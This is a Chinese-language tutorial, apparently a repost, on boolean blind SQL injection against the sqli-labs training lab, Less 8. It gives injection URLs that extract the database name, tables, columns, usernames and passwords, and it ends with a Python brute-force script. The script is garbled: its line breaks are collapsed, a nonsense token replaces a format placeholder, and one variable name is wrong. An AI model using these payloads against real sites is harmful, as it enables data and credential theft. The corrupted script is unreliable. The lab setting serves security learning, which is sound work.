SQL注入学习——Bool盲注详解 sqli-labs(Less 8)
文章目錄
- 前言:
- 一、Bool盲注常用的函數:
- 二、Less8 布爾型單引號GET盲注
- 1、查數據庫版本
- 2、猜解數據庫的長度
- 3、猜數據庫名字
- 4、猜解表名
- 5、猜解字段名
- 6、猜解數據
- 三、腳本注入:
前言:
今天來總結下SQL注入的 Bool 盲注,通過 sqli-labs 靶場練習。
一、Bool盲注常用的函數:
database() 顯示數據庫名稱 left(a,b) 從左側截取a的前b位 substr(a,b,c) 從b位置開始,截取字符串a的c長度 mid(a,b,c) 從位置b開始,截取a字符串的c位 length() 返回字符串的長度 Ascii() 將某個字符轉換為ascii值 char() 將ASCII碼轉換為對應的字符ok,知道了這些就去實戰試試吧。
二、Less8 布爾型單引號GET盲注
補充:本關也可以用時間盲注,報錯注入是不行的,因為報錯信息被注釋了。
輸入?id=1,頁面正常,但還是沒有顯示信息。
加單引號
頁面無回顯,應該是報錯了,繼續輸入?id=1 and 1=2
頁面沒有變化,說明不是數字型,輸入?id=1 and 1=2 --+
頁面發生變化(沒有報錯,只是查不出數據,和上面的無回顯不一樣),說明是單引號閉合的字符型注入。
知道了這些,下面就可以開始正式的 Bool 注入了。
1、查數據庫版本
利用 left(database(),1)進行嘗試
127.0.0.1/sqli-labs-master/Less-8?id=1' and left(version(),1)=5 %23這里數據庫的版本為 5.6.17,上面的語句是看版本號的第一位是不是 5,如果回顯正常,那么說明第一位就是5
這里顯然回顯正常,剩余的慢慢測,一般都是使用腳本。
2、猜解數據庫的長度
127.0.0.1/sqli-labs-master/Less-8?id=1' and length(database())=8 %23
數據庫長度為 8 時,頁面回顯正常。這里說明下,長度要一個一個的試,這里只是驗證下,在要爆信息不多的情況下可以手動試試(二分法可以提高很多效率),太多的話就建議用腳本,或者用burp 爆破。
3、猜數據庫名字
首先猜測數據庫第一位,這里使用了 left 函數
left(a,b):返回a字符串從左至b位數,詳細看下面用法。
127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),1)>'a'--+
數據庫我們知道是 security,所以我們看他的第一位是否 大于 a,很明顯 s 大于 a 的,因此回顯正常。當我們不知情的情況下,可以用二分法來提高注入的效率。
測得第一位為 s,我們看前兩位是否大于 sa,繼續猜測第二位:
127.0.0.1/sqli-labs-master/Less-8?id=1'and left(database(),2)>'sa'--+
然后第三位,第四位…(很麻煩)。
這里還可以構造這樣的命令猜解數據庫第一位 :
127.0.0.1/sqli-labs-master/Less-8?id=1' and ascii(substr((database()),1,1)) >80--+第二位:
127.0.0.1/sqli-labs-master/Less-8 ?id=1' and ascii(substr((database()),2,1)) >80--+…
最終我們可以確定數據庫的全名是security,接下來我們判斷表名。
4、猜解表名
語句:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit x,1),y)=""--+通過變換 x 和 y 的值我們可以得到所有的表名。
注:security里有四張表,limit 3,1 即第四張表 users
接下來判斷所有的users中的字段名。
5、猜解字段名
語句:
?id=1' and left((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit x,1),y)=""--+通過變換 x 和 y 的值可以得到 username 和 password 這兩個字段名
接下來就是爆數據了 。
6、猜解數據
用戶名:
?id=1' and left((select username from users limit x,1),y)=""--+通過變換x,y的值可以得到所有的用戶名 。
密碼:
?id=1' and left((select password from users limit x,1),y)=""--+通過變換 x,y 的值可以得到所有的密碼 。
布爾盲注的手工注入很是繁瑣,推薦使用 sqlmap 或 腳本,下面分享一個腳本。
三、腳本注入:
爆數據庫 :
# -*- coding:utf8 -*- import requests url = 'http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1%27' # 這個url要對應你自己的url payload = " and%20left(ozvdkddzhkzd(),{n})=%27{s}%27%20--%20k" # 上面兩個可以合并為一個,但沒有必要,(本來就是我拆開的) list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v','w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0'] # 字典 str1 = "You are in..........." # 就是通過返回的頁面里有沒有這個字符串來判斷盲注有沒有成功 # 開始對比database() database = '' for i in range(1, 10): # 相當于C語言的for循環1~9 其實這里應該先判斷database有多長的for ss in list1: # 相當于for循環遍歷list,然后把每一項賦值給ssp = payload.format(d='database', n=i, s=database+ss) # 把payload里的ozvdkddzhkzd,{n},{s}賦值u = requests.get(url+p) # 訪問網頁# print pif str1 in u.content: # 如果str在網頁內容里面database += ssprint u"正在對比database第", i, u"個字符",print databasebreak print u"對比成功,database為:", database # 開始對比user()#user也是同理 user = '' for i in range(1, 20):for ss in list1:p = payload.format(d='user', n=i, s=user+ss)u = requests.get(url+p)# print pif str in u.content:user += ssprint u"正在對比user第", i, u"個字符",print userbreak print u"對比成功,user為:", user print u"database-->", database print u"user-->", user a = raw_input()爆破成功
接下來爆表
然后盲注users的字段名:
最后就是查看數據了
🆗,關于Bool盲注的總結暫時就這么多了。
總結
以上是生活随笔為你收集整理的SQL注入学习——Bool盲注详解 sqli-labs(Less 8)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQL注入学习——sqli-labs闯关
- 下一篇: SQL注入学习——时间盲注详解 sqli